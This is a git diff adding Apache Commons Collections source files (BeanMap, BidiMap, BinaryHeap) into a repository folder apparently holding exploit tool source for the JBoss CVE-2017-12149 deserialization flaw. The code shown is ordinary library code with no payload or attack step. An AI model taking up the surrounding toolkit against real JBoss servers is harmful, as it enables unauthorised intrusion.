+ * Clone this bean map using the following process:
+ *
+ *
clear()
differs from the Map contract in that
+ * the mappings are not actually removed from the map (the mappings for a
+ * BeanMap are fixed).
+ */
+ public void clear() {
+ if(bean == null) return;
+
+ Class beanClass = null;
+ try {
+ beanClass = bean.getClass();
+ bean = beanClass.newInstance();
+ }
+ catch (Exception e) {
+ throw new UnsupportedOperationException( "Could not create new instance of class: " + beanClass );
+ }
+ }
+
+ /**
+ * Returns true if the bean defines a property with the given name.
+ *
+ * The given name must be a String
; if not, this method
+ * returns false. This method will also return false if the bean
+ * does not define a property with that name.
+ *
+ * Write-only properties will not be matched as the test operates against
+ * property read methods.
+ *
+ * @param name the name of the property to check
+ * @return false if the given name is null or is not a String
;
+ * false if the bean does not define a property with that name; or
+ * true if the bean does define a property with that name
+ */
+ public boolean containsKey(Object name) {
+ Method method = getReadMethod(name);
+ return method != null;
+ }
+
+ /**
+ * Returns true if the bean defines a property whose current value is
+ * the given object.
+ *
+ * @param value the value to check
+ * @return false true if the bean has at least one property whose
+ * current value is that object, false otherwise
+ */
+ public boolean containsValue(Object value) {
+ // use default implementation
+ return super.containsValue(value);
+ }
+
+ /**
+ * Returns the value of the bean's property with the given name.
+ *
+ * The given name must be a {@link String} and must not be
+ * null; otherwise, this method returns null
.
+ * If the bean defines a property with the given name, the value of
+ * that property is returned. Otherwise, null
is
+ * returned.
+ *
+ * Write-only properties will not be matched as the test operates against + * property read methods. + * + * @param name the name of the property whose value to return + * @return the value of the property with that name + */ + public Object get(Object name) { + if ( bean != null ) { + Method method = getReadMethod( name ); + if ( method != null ) { + try { + return method.invoke( bean, NULL_ARGUMENTS ); + } + catch ( IllegalAccessException e ) { + logWarn( e ); + } + catch ( IllegalArgumentException e ) { + logWarn( e ); + } + catch ( InvocationTargetException e ) { + logWarn( e ); + } + catch ( NullPointerException e ) { + logWarn( e ); + } + } + } + return null; + } + + /** + * Sets the bean property with the given name to the given value. + * + * @param name the name of the property to set + * @param value the value to set that property to + * @return the previous value of that property + * @throws IllegalArgumentException if the given name is null; + * if the given name is not a {@link String}; if the bean doesn't + * define a property with that name; or if the bean property with + * that name is read-only + */ + public Object put(Object name, Object value) throws IllegalArgumentException, ClassCastException { + if ( bean != null ) { + Object oldValue = get( name ); + Method method = getWriteMethod( name ); + if ( method == null ) { + throw new IllegalArgumentException( "The bean of type: "+ bean.getClass().getName() + " has no property called: " + name ); + } + try { + Object[] arguments = createWriteMethodArguments( method, value ); + method.invoke( bean, arguments ); + + Object newValue = get( name ); + firePropertyChange( name, oldValue, newValue ); + } + catch ( InvocationTargetException e ) { + logInfo( e ); + throw new IllegalArgumentException( e.getMessage() ); + } + catch ( IllegalAccessException e ) { + logInfo( e ); + throw new IllegalArgumentException( e.getMessage() ); + } + return oldValue; + } + return null; + } + + /** + * Returns the number of properties defined by the bean. + * + * @return the number of properties defined by the bean + */ + public int size() { + return readMethods.size(); + } + + + /** + * Get the keys for this BeanMap. + *
+ * Write-only properties are not included in the returned set of + * property names, although it is possible to set their value and to get + * their type. + * + * @return BeanMap keys. The Set returned by this method is not + * modifiable. + */ + public Set keySet() { + return UnmodifiableSet.decorate(readMethods.keySet()); + } + + /** + * Gets a Set of MapEntry objects that are the mappings for this BeanMap. + *
+ * Each MapEntry can be set but not removed.
+ *
+ * @return the unmodifiable set of mappings
+ */
+ public Set entrySet() {
+ return UnmodifiableSet.decorate(new AbstractSet() {
+ public Iterator iterator() {
+ return entryIterator();
+ }
+ public int size() {
+ return BeanMap.this.readMethods.size();
+ }
+ });
+ }
+
+ /**
+ * Returns the values for the BeanMap.
+ *
+ * @return values for the BeanMap. The returned collection is not
+ * modifiable.
+ */
+ public Collection values() {
+ ArrayList answer = new ArrayList( readMethods.size() );
+ for ( Iterator iter = valueIterator(); iter.hasNext(); ) {
+ answer.add( iter.next() );
+ }
+ return UnmodifiableList.decorate(answer);
+ }
+
+
+ // Helper methods
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns the type of the property with the given name.
+ *
+ * @param name the name of the property
+ * @return the type of the property, or null
if no such
+ * property exists
+ */
+ public Class getType(String name) {
+ return (Class) types.get( name );
+ }
+
+ /**
+ * Convenience method for getting an iterator over the keys.
+ *
+ * Write-only properties will not be returned in the iterator.
+ *
+ * @return an iterator over the keys
+ */
+ public Iterator keyIterator() {
+ return readMethods.keySet().iterator();
+ }
+
+ /**
+ * Convenience method for getting an iterator over the values.
+ *
+ * @return an iterator over the values
+ */
+ public Iterator valueIterator() {
+ final Iterator iter = keyIterator();
+ return new Iterator() {
+ public boolean hasNext() {
+ return iter.hasNext();
+ }
+ public Object next() {
+ Object key = iter.next();
+ return get(key);
+ }
+ public void remove() {
+ throw new UnsupportedOperationException( "remove() not supported for BeanMap" );
+ }
+ };
+ }
+
+ /**
+ * Convenience method for getting an iterator over the entries.
+ *
+ * @return an iterator over the entries
+ */
+ public Iterator entryIterator() {
+ final Iterator iter = keyIterator();
+ return new Iterator() {
+ public boolean hasNext() {
+ return iter.hasNext();
+ }
+ public Object next() {
+ Object key = iter.next();
+ Object value = get(key);
+ return new MyMapEntry( BeanMap.this, key, value );
+ }
+ public void remove() {
+ throw new UnsupportedOperationException( "remove() not supported for BeanMap" );
+ }
+ };
+ }
+
+
+ // Properties
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns the bean currently being operated on. The return value may
+ * be null if this map is empty.
+ *
+ * @return the bean being operated on by this map
+ */
+ public Object getBean() {
+ return bean;
+ }
+
+ /**
+ * Sets the bean to be operated on by this map. The given value may
+ * be null, in which case this map will be empty.
+ *
+ * @param newBean the new bean to operate on
+ */
+ public void setBean( Object newBean ) {
+ bean = newBean;
+ reinitialise();
+ }
+
+ /**
+ * Returns the accessor for the property with the given name.
+ *
+ * @param name the name of the property
+ * @return the accessor method for the property, or null
+ */
+ public Method getReadMethod(String name) {
+ return (Method) readMethods.get(name);
+ }
+
+ /**
+ * Returns the mutator for the property with the given name.
+ *
+ * @param name the name of the property
+ * @return the mutator method for the property, or null
+ */
+ public Method getWriteMethod(String name) {
+ return (Method) writeMethods.get(name);
+ }
+
+
+ // Implementation methods
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns the accessor for the property with the given name.
+ *
+ * @param name the name of the property
+ * @return null if the name is null; null if the name is not a
+ * {@link String}; null if no such property exists; or the accessor
+ * method for that property
+ */
+ protected Method getReadMethod( Object name ) {
+ return (Method) readMethods.get( name );
+ }
+
+ /**
+ * Returns the mutator for the property with the given name.
+ *
+ * @param name the name of the
+ * @return null if the name is null; null if the name is not a
+ * {@link String}; null if no such property exists; null if the
+ * property is read-only; or the mutator method for that property
+ */
+ protected Method getWriteMethod( Object name ) {
+ return (Method) writeMethods.get( name );
+ }
+
+ /**
+ * Reinitializes this bean. Called during {@link #setBean(Object)}.
+ * Does introspection to find properties.
+ */
+ protected void reinitialise() {
+ readMethods.clear();
+ writeMethods.clear();
+ types.clear();
+ initialise();
+ }
+
+ private void initialise() {
+ if(getBean() == null) return;
+
+ Class beanClass = getBean().getClass();
+ try {
+ //BeanInfo beanInfo = Introspector.getBeanInfo( bean, null );
+ BeanInfo beanInfo = Introspector.getBeanInfo( beanClass );
+ PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
+ if ( propertyDescriptors != null ) {
+ for ( int i = 0; i < propertyDescriptors.length; i++ ) {
+ PropertyDescriptor propertyDescriptor = propertyDescriptors[i];
+ if ( propertyDescriptor != null ) {
+ String name = propertyDescriptor.getName();
+ Method readMethod = propertyDescriptor.getReadMethod();
+ Method writeMethod = propertyDescriptor.getWriteMethod();
+ Class aType = propertyDescriptor.getPropertyType();
+
+ if ( readMethod != null ) {
+ readMethods.put( name, readMethod );
+ }
+ if ( writeMethods != null ) {
+ writeMethods.put( name, writeMethod );
+ }
+ types.put( name, aType );
+ }
+ }
+ }
+ }
+ catch ( IntrospectionException e ) {
+ logWarn( e );
+ }
+ }
+
+ /**
+ * Called during a successful {@link #put(Object,Object)} operation.
+ * Default implementation does nothing. Override to be notified of
+ * property changes in the bean caused by this map.
+ *
+ * @param key the name of the property that changed
+ * @param oldValue the old value for that property
+ * @param newValue the new value for that property
+ */
+ protected void firePropertyChange( Object key, Object oldValue, Object newValue ) {
+ }
+
+ // Implementation classes
+ //-------------------------------------------------------------------------
+
+ /**
+ * Map entry used by {@link BeanMap}.
+ */
+ protected static class MyMapEntry extends AbstractMapEntry {
+ private BeanMap owner;
+
+ /**
+ * Constructs a new MyMapEntry
.
+ *
+ * @param owner the BeanMap this entry belongs to
+ * @param key the key for this entry
+ * @param value the value for this entry
+ */
+ protected MyMapEntry( BeanMap owner, Object key, Object value ) {
+ super( key, value );
+ this.owner = owner;
+ }
+
+ /**
+ * Sets the value.
+ *
+ * @param value the new value for the entry
+ * @return the old value for the entry
+ */
+ public Object setValue(Object value) {
+ Object key = getKey();
+ Object oldValue = owner.get( key );
+
+ owner.put( key, value );
+ Object newValue = owner.get( key );
+ super.setValue( newValue );
+ return oldValue;
+ }
+ }
+
+ /**
+ * Creates an array of parameters to pass to the given mutator method.
+ * If the given object is not the right type to pass to the method
+ * directly, it will be converted using {@link #convertType(Class,Object)}.
+ *
+ * @param method the mutator method
+ * @param value the value to pass to the mutator method
+ * @return an array containing one object that is either the given value
+ * or a transformed value
+ * @throws IllegalAccessException if {@link #convertType(Class,Object)}
+ * raises it
+ * @throws IllegalArgumentException if any other exception is raised
+ * by {@link #convertType(Class,Object)}
+ */
+ protected Object[] createWriteMethodArguments( Method method, Object value ) throws IllegalAccessException, ClassCastException {
+ try {
+ if ( value != null ) {
+ Class[] types = method.getParameterTypes();
+ if ( types != null && types.length > 0 ) {
+ Class paramType = types[0];
+ if ( ! paramType.isAssignableFrom( value.getClass() ) ) {
+ value = convertType( paramType, value );
+ }
+ }
+ }
+ Object[] answer = { value };
+ return answer;
+ }
+ catch ( InvocationTargetException e ) {
+ logInfo( e );
+ throw new IllegalArgumentException( e.getMessage() );
+ }
+ catch ( InstantiationException e ) {
+ logInfo( e );
+ throw new IllegalArgumentException( e.getMessage() );
+ }
+ }
+
+ /**
+ * Converts the given value to the given type. First, reflection is
+ * is used to find a public constructor declared by the given class
+ * that takes one argument, which must be the precise type of the
+ * given value. If such a constructor is found, a new object is
+ * created by passing the given value to that constructor, and the
+ * newly constructed object is returned.
+ *
+ * If no such constructor exists, and the given type is a primitive
+ * type, then the given value is converted to a string using its
+ * {@link Object#toString() toString()} method, and that string is
+ * parsed into the correct primitive type using, for instance,
+ * {@link Integer#valueOf(String)} to convert the string into an
+ * int
.
+ *
+ * If no special constructor exists and the given type is not a
+ * primitive type, this method returns the original value.
+ *
+ * @param newType the type to convert the value to
+ * @param value the value to convert
+ * @return the converted value
+ * @throws NumberFormatException if newType is a primitive type, and
+ * the string representation of the given value cannot be converted
+ * to that type
+ * @throws InstantiationException if the constructor found with
+ * reflection raises it
+ * @throws InvocationTargetException if the constructor found with
+ * reflection raises it
+ * @throws IllegalAccessException never
+ * @throws IllegalArgumentException never
+ */
+ protected Object convertType( Class newType, Object value )
+ throws InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
+
+ // try call constructor
+ Class[] types = { value.getClass() };
+ try {
+ Constructor constructor = newType.getConstructor( types );
+ Object[] arguments = { value };
+ return constructor.newInstance( arguments );
+ }
+ catch ( NoSuchMethodException e ) {
+ // try using the transformers
+ Transformer transformer = getTypeTransformer( newType );
+ if ( transformer != null ) {
+ return transformer.transform( value );
+ }
+ return value;
+ }
+ }
+
+ /**
+ * Returns a transformer for the given primitive type.
+ *
+ * @param aType the primitive type whose transformer to return
+ * @return a transformer that will convert strings into that type,
+ * or null if the given type is not a primitive type
+ */
+ protected Transformer getTypeTransformer( Class aType ) {
+ return (Transformer) defaultTransformers.get( aType );
+ }
+
+ /**
+ * Logs the given exception to System.out
. Used to display
+ * warnings while accessing/mutating the bean.
+ *
+ * @param ex the exception to log
+ */
+ protected void logInfo(Exception ex) {
+ // Deliberately do not use LOG4J or Commons Logging to avoid dependencies
+ System.out.println( "INFO: Exception: " + ex );
+ }
+
+ /**
+ * Logs the given exception to System.err
. Used to display
+ * errors while accessing/mutating the bean.
+ *
+ * @param ex the exception to log
+ */
+ protected void logWarn(Exception ex) {
+ // Deliberately do not use LOG4J or Commons Logging to avoid dependencies
+ System.out.println( "WARN: Exception: " + ex );
+ ex.printStackTrace();
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BidiMap.java"
new file mode 100644
index 0000000..d8e4273
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BidiMap.java"
@@ -0,0 +1,145 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a map that allows bidirectional lookup between key and values.
+ *
+ * This extended Map
represents a mapping where a key may
+ * lookup a value and a value may lookup a key with equal ease.
+ * This interface extends Map
and so may be used anywhere a map
+ * is required. The interface provides an inverse map view, enabling
+ * full access to both directions of the BidiMap
.
+ *
+ * Implementations should allow a value to be looked up from a key and + * a key to be looked up from a value with equal performance. + *
+ * This map enforces the restriction that there is a 1:1 relation between
+ * keys and values, meaning that multiple keys cannot map to the same value.
+ * This is required so that "inverting" the map results in a map without
+ * duplicate keys. See the {@link #put} method description for more information.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.16 $ $Date: 2004/05/10 20:37:19 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface BidiMap extends IterableMap {
+
+ /**
+ * Obtains a MapIterator
over the map.
+ *
+ * A map iterator is an efficient way of iterating over maps. + * It does not require that the map is stored using Map Entry objects + * which can increase performance. + *
+ * BidiMap map = new DualHashBidiMap(); + * MapIterator it = map.mapIterator(); + * while (it.hasNext()) { + * Object key = it.next(); + * Object value = it.getValue(); + * it.setValue("newValue"); + * } + *+ * + * @return a map iterator + */ + MapIterator mapIterator(); + + /** + * Puts the key-value pair into the map, replacing any previous pair. + *
+ * When adding a key-value pair, the value may already exist in the map + * against a different key. That mapping is removed, to ensure that the + * value only occurs once in the inverse map. + *
+ * BidiMap map1 = new DualHashBidiMap(); + * map.put("A","B"); // contains A mapped to B, as per Map + * map.put("A","C"); // contains A mapped to C, as per Map + * + * BidiMap map2 = new DualHashBidiMap(); + * map.put("A","B"); // contains A mapped to B, as per Map + * map.put("C","B"); // contains C mapped to B, key A is removed + *+ * + * @param key the key to store + * @param value the value to store + * @return the previous value mapped to this key + * + * @throws UnsupportedOperationException if the
put
method is not supported
+ * @throws ClassCastException (optional) if the map limits the type of the
+ * value and the specified value is inappropriate
+ * @throws IllegalArgumentException (optional) if the map limits the values
+ * in some way and the value was invalid
+ * @throws NullPointerException (optional) if the map limits the values to
+ * non-null and null was specified
+ */
+ Object put(Object key, Object value);
+
+ /**
+ * Gets the key that is currently mapped to the specified value.
+ *
+ * If the value is not contained in the map, null
is returned.
+ *
+ * Implementations should seek to make this method perform equally as well
+ * as get(Object)
.
+ *
+ * @param value the value to find the key for
+ * @return the mapped key, or null
if not found
+ *
+ * @throws ClassCastException (optional) if the map limits the type of the
+ * value and the specified value is inappropriate
+ * @throws NullPointerException (optional) if the map limits the values to
+ * non-null and null was specified
+ */
+ Object getKey(Object value);
+
+ /**
+ * Removes the key-value pair that is currently mapped to the specified
+ * value (optional operation).
+ *
+ * If the value is not contained in the map, null
is returned.
+ *
+ * Implementations should seek to make this method perform equally as well
+ * as remove(Object)
.
+ *
+ * @param value the value to find the key-value pair for
+ * @return the key that was removed, null
if nothing removed
+ *
+ * @throws ClassCastException (optional) if the map limits the type of the
+ * value and the specified value is inappropriate
+ * @throws NullPointerException (optional) if the map limits the values to
+ * non-null and null was specified
+ * @throws UnsupportedOperationException if this method is not supported
+ * by the implementation
+ */
+ Object removeValue(Object value);
+
+ /**
+ * Gets a view of this map where the keys and values are reversed.
+ *
+ * Changes to one map will be visible in the other and vice versa.
+ * This enables both directions of the map to be accessed as a Map
.
+ *
+ * Implementations should seek to avoid creating a new object every time this
+ * method is called. See AbstractMap.values()
etc. Calling this
+ * method on the inverse map should return the original.
+ *
+ * @return an inverted bidirectional map
+ */
+ BidiMap inverseBidiMap();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BinaryHeap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BinaryHeap.java"
new file mode 100644
index 0000000..7980d08
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BinaryHeap.java"
@@ -0,0 +1,564 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.AbstractCollection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+/**
+ * Binary heap implementation of PriorityQueue
.
+ *
+ * The PriorityQueue
interface has now been replaced for most uses
+ * by the Buffer
interface. This class and the interface are
+ * retained for backwards compatibility. The intended replacement is
+ * {@link org.apache.commons.collections.buffer.PriorityBuffer PriorityBuffer}.
+ *
+ * The removal order of a binary heap is based on either the natural sort
+ * order of its elements or a specified {@link Comparator}. The
+ * {@link #pop()} method always returns the first element as determined
+ * by the sort order. (The isMinHeap
flag in the constructors
+ * can be used to reverse the sort order, in which case {@link #pop()}
+ * will always remove the last element.) The removal order is
+ * not the same as the order of iteration; elements are
+ * returned by the iterator in no particular order.
+ *
+ * The {@link #insert(Object)} and {@link #pop()} operations perform + * in logarithmic time. The {@link #peek()} operation performs in constant + * time. All other operations perform in linear time or worse. + *
+ * Note that this implementation is not synchronized. Use SynchronizedPriorityQueue
+ * to provide synchronized access to a BinaryHeap
:
+ *
+ *
+ * PriorityQueue heap = new SynchronizedPriorityQueue(new BinaryHeap()); + *+ * + * @deprecated Replaced by PriorityBuffer in buffer subpackage. + * Due to be removed in v4.0. + * @since Commons Collections 1.0 + * @version $Revision: 1.24 $ $Date: 2004/02/18 01:15:42 $ + * + * @author Peter Donald + * @author Ram Chidambaram + * @author Michael A. Smith + * @author Paul Jack + * @author Stephen Colebourne + */ +public final class BinaryHeap extends AbstractCollection + implements PriorityQueue, Buffer { + + /** + * The default capacity for a binary heap. + */ + private final static int DEFAULT_CAPACITY = 13; + /** + * The number of elements currently in this heap. + */ + int m_size; // package scoped for testing + /** + * The elements in this heap. + */ + Object[] m_elements; // package scoped for testing + /** + * If true, the first element as determined by the sort order will + * be returned. If false, the last element as determined by the + * sort order will be returned. + */ + boolean m_isMinHeap; // package scoped for testing + /** + * The comparator used to order the elements + */ + Comparator m_comparator; // package scoped for testing + + /** + * Constructs a new minimum binary heap. + */ + public BinaryHeap() { + this(DEFAULT_CAPACITY, true); + } + + /** + * Constructs a new
BinaryHeap
that will use the given
+ * comparator to order its elements.
+ *
+ * @param comparator the comparator used to order the elements, null
+ * means use natural order
+ */
+ public BinaryHeap(Comparator comparator) {
+ this();
+ m_comparator = comparator;
+ }
+
+ /**
+ * Constructs a new minimum binary heap with the specified initial capacity.
+ *
+ * @param capacity The initial capacity for the heap. This value must
+ * be greater than zero.
+ * @throws IllegalArgumentException
+ * if capacity
is <= 0
+ */
+ public BinaryHeap(int capacity) {
+ this(capacity, true);
+ }
+
+ /**
+ * Constructs a new BinaryHeap
.
+ *
+ * @param capacity the initial capacity for the heap
+ * @param comparator the comparator used to order the elements, null
+ * means use natural order
+ * @throws IllegalArgumentException
+ * if capacity
is <= 0
+ */
+ public BinaryHeap(int capacity, Comparator comparator) {
+ this(capacity);
+ m_comparator = comparator;
+ }
+
+ /**
+ * Constructs a new minimum or maximum binary heap
+ *
+ * @param isMinHeap if true
the heap is created as a
+ * minimum heap; otherwise, the heap is created as a maximum heap
+ */
+ public BinaryHeap(boolean isMinHeap) {
+ this(DEFAULT_CAPACITY, isMinHeap);
+ }
+
+ /**
+ * Constructs a new BinaryHeap
.
+ *
+ * @param isMinHeap true to use the order imposed by the given
+ * comparator; false to reverse that order
+ * @param comparator the comparator used to order the elements, null
+ * means use natural order
+ */
+ public BinaryHeap(boolean isMinHeap, Comparator comparator) {
+ this(isMinHeap);
+ m_comparator = comparator;
+ }
+
+ /**
+ * Constructs a new minimum or maximum binary heap with the specified
+ * initial capacity.
+ *
+ * @param capacity the initial capacity for the heap. This value must
+ * be greater than zero.
+ * @param isMinHeap if true
the heap is created as a
+ * minimum heap; otherwise, the heap is created as a maximum heap.
+ * @throws IllegalArgumentException
+ * if capacity
is <= 0
+ */
+ public BinaryHeap(int capacity, boolean isMinHeap) {
+ if (capacity <= 0) {
+ throw new IllegalArgumentException("invalid capacity");
+ }
+ m_isMinHeap = isMinHeap;
+
+ //+1 as 0 is noop
+ m_elements = new Object[capacity + 1];
+ }
+
+ /**
+ * Constructs a new BinaryHeap
.
+ *
+ * @param capacity the initial capacity for the heap
+ * @param isMinHeap true to use the order imposed by the given
+ * comparator; false to reverse that order
+ * @param comparator the comparator used to order the elements, null
+ * means use natural order
+ * @throws IllegalArgumentException
+ * if capacity
is <= 0
+ */
+ public BinaryHeap(int capacity, boolean isMinHeap, Comparator comparator) {
+ this(capacity, isMinHeap);
+ m_comparator = comparator;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clears all elements from queue.
+ */
+ public void clear() {
+ m_elements = new Object[m_elements.length]; // for gc
+ m_size = 0;
+ }
+
+ /**
+ * Tests if queue is empty.
+ *
+ * @return true
if queue is empty; false
+ * otherwise.
+ */
+ public boolean isEmpty() {
+ return m_size == 0;
+ }
+
+ /**
+ * Tests if queue is full.
+ *
+ * @return true
if queue is full; false
+ * otherwise.
+ */
+ public boolean isFull() {
+ //+1 as element 0 is noop
+ return m_elements.length == m_size + 1;
+ }
+
+ /**
+ * Inserts an element into queue.
+ *
+ * @param element the element to be inserted
+ */
+ public void insert(Object element) {
+ if (isFull()) {
+ grow();
+ }
+ //percolate element to it's place in tree
+ if (m_isMinHeap) {
+ percolateUpMinHeap(element);
+ } else {
+ percolateUpMaxHeap(element);
+ }
+ }
+
+ /**
+ * Returns the element on top of heap but don't remove it.
+ *
+ * @return the element at top of heap
+ * @throws NoSuchElementException if isEmpty() == true
+ */
+ public Object peek() throws NoSuchElementException {
+ if (isEmpty()) {
+ throw new NoSuchElementException();
+ } else {
+ return m_elements[1];
+ }
+ }
+
+ /**
+ * Returns the element on top of heap and remove it.
+ *
+ * @return the element at top of heap
+ * @throws NoSuchElementException if isEmpty() == true
+ */
+ public Object pop() throws NoSuchElementException {
+ final Object result = peek();
+ m_elements[1] = m_elements[m_size--];
+
+ // set the unused element to 'null' so that the garbage collector
+ // can free the object if not used anywhere else.(remove reference)
+ m_elements[m_size + 1] = null;
+
+ if (m_size != 0) {
+ // percolate top element to it's place in tree
+ if (m_isMinHeap) {
+ percolateDownMinHeap(1);
+ } else {
+ percolateDownMaxHeap(1);
+ }
+ }
+
+ return result;
+ }
+
+ /**
+ * Percolates element down heap from the position given by the index.
+ * + * Assumes it is a minimum heap. + * + * @param index the index for the element + */ + protected void percolateDownMinHeap(final int index) { + final Object element = m_elements[index]; + int hole = index; + + while ((hole * 2) <= m_size) { + int child = hole * 2; + + // if we have a right child and that child can not be percolated + // up then move onto other child + if (child != m_size && compare(m_elements[child + 1], m_elements[child]) < 0) { + child++; + } + + // if we found resting place of bubble then terminate search + if (compare(m_elements[child], element) >= 0) { + break; + } + + m_elements[hole] = m_elements[child]; + hole = child; + } + + m_elements[hole] = element; + } + + /** + * Percolates element down heap from the position given by the index. + *
+ * Assumes it is a maximum heap. + * + * @param index the index of the element + */ + protected void percolateDownMaxHeap(final int index) { + final Object element = m_elements[index]; + int hole = index; + + while ((hole * 2) <= m_size) { + int child = hole * 2; + + // if we have a right child and that child can not be percolated + // up then move onto other child + if (child != m_size && compare(m_elements[child + 1], m_elements[child]) > 0) { + child++; + } + + // if we found resting place of bubble then terminate search + if (compare(m_elements[child], element) <= 0) { + break; + } + + m_elements[hole] = m_elements[child]; + hole = child; + } + + m_elements[hole] = element; + } + + /** + * Percolates element up heap from the position given by the index. + *
+ * Assumes it is a minimum heap. + * + * @param index the index of the element to be percolated up + */ + protected void percolateUpMinHeap(final int index) { + int hole = index; + Object element = m_elements[hole]; + while (hole > 1 && compare(element, m_elements[hole / 2]) < 0) { + // save element that is being pushed down + // as the element "bubble" is percolated up + final int next = hole / 2; + m_elements[hole] = m_elements[next]; + hole = next; + } + m_elements[hole] = element; + } + + /** + * Percolates a new element up heap from the bottom. + *
+ * Assumes it is a minimum heap. + * + * @param element the element + */ + protected void percolateUpMinHeap(final Object element) { + m_elements[++m_size] = element; + percolateUpMinHeap(m_size); + } + + /** + * Percolates element up heap from from the position given by the index. + *
+ * Assume it is a maximum heap. + * + * @param index the index of the element to be percolated up + */ + protected void percolateUpMaxHeap(final int index) { + int hole = index; + Object element = m_elements[hole]; + + while (hole > 1 && compare(element, m_elements[hole / 2]) > 0) { + // save element that is being pushed down + // as the element "bubble" is percolated up + final int next = hole / 2; + m_elements[hole] = m_elements[next]; + hole = next; + } + + m_elements[hole] = element; + } + + /** + * Percolates a new element up heap from the bottom. + *
+ * Assume it is a maximum heap. + * + * @param element the element + */ + protected void percolateUpMaxHeap(final Object element) { + m_elements[++m_size] = element; + percolateUpMaxHeap(m_size); + } + + /** + * Compares two objects using the comparator if specified, or the + * natural order otherwise. + * + * @param a the first object + * @param b the second object + * @return -ve if a less than b, 0 if they are equal, +ve if a greater than b + */ + private int compare(Object a, Object b) { + if (m_comparator != null) { + return m_comparator.compare(a, b); + } else { + return ((Comparable) a).compareTo(b); + } + } + + /** + * Increases the size of the heap to support additional elements + */ + protected void grow() { + final Object[] elements = new Object[m_elements.length * 2]; + System.arraycopy(m_elements, 0, elements, 0, m_elements.length); + m_elements = elements; + } + + /** + * Returns a string representation of this heap. The returned string + * is similar to those produced by standard JDK collections. + * + * @return a string representation of this heap + */ + public String toString() { + final StringBuffer sb = new StringBuffer(); + + sb.append("[ "); + + for (int i = 1; i < m_size + 1; i++) { + if (i != 1) { + sb.append(", "); + } + sb.append(m_elements[i]); + } + + sb.append(" ]"); + + return sb.toString(); + } + + + /** + * Returns an iterator over this heap's elements. + * + * @return an iterator over this heap's elements + */ + public Iterator iterator() { + return new Iterator() { + + private int index = 1; + private int lastReturnedIndex = -1; + + public boolean hasNext() { + return index <= m_size; + } + + public Object next() { + if (!hasNext()) throw new NoSuchElementException(); + lastReturnedIndex = index; + index++; + return m_elements[lastReturnedIndex]; + } + + public void remove() { + if (lastReturnedIndex == -1) { + throw new IllegalStateException(); + } + m_elements[ lastReturnedIndex ] = m_elements[ m_size ]; + m_elements[ m_size ] = null; + m_size--; + if( m_size != 0 && lastReturnedIndex <= m_size) { + int compareToParent = 0; + if (lastReturnedIndex > 1) { + compareToParent = compare(m_elements[lastReturnedIndex], + m_elements[lastReturnedIndex / 2]); + } + if (m_isMinHeap) { + if (lastReturnedIndex > 1 && compareToParent < 0) { + percolateUpMinHeap(lastReturnedIndex); + } else { + percolateDownMinHeap(lastReturnedIndex); + } + } else { // max heap + if (lastReturnedIndex > 1 && compareToParent > 0) { + percolateUpMaxHeap(lastReturnedIndex); + } else { + percolateDownMaxHeap(lastReturnedIndex); + } + } + } + index--; + lastReturnedIndex = -1; + } + + }; + } + + + /** + * Adds an object to this heap. Same as {@link #insert(Object)}. + * + * @param object the object to add + * @return true, always + */ + public boolean add(Object object) { + insert(object); + return true; + } + + /** + * Returns the priority element. Same as {@link #peek()}. + * + * @return the priority element + * @throws BufferUnderflowException if this heap is empty + */ + public Object get() { + try { + return peek(); + } catch (NoSuchElementException e) { + throw new BufferUnderflowException(); + } + } + + /** + * Removes the priority element. Same as {@link #pop()}. + * + * @return the removed priority element + * @throws BufferUnderflowException if this heap is empty + */ + public Object remove() { + try { + return pop(); + } catch (NoSuchElementException e) { + throw new BufferUnderflowException(); + } + } + + /** + * Returns the number of elements in this heap. + * + * @return the number of elements in this heap + */ + public int size() { + return m_size; + } + +} diff --git 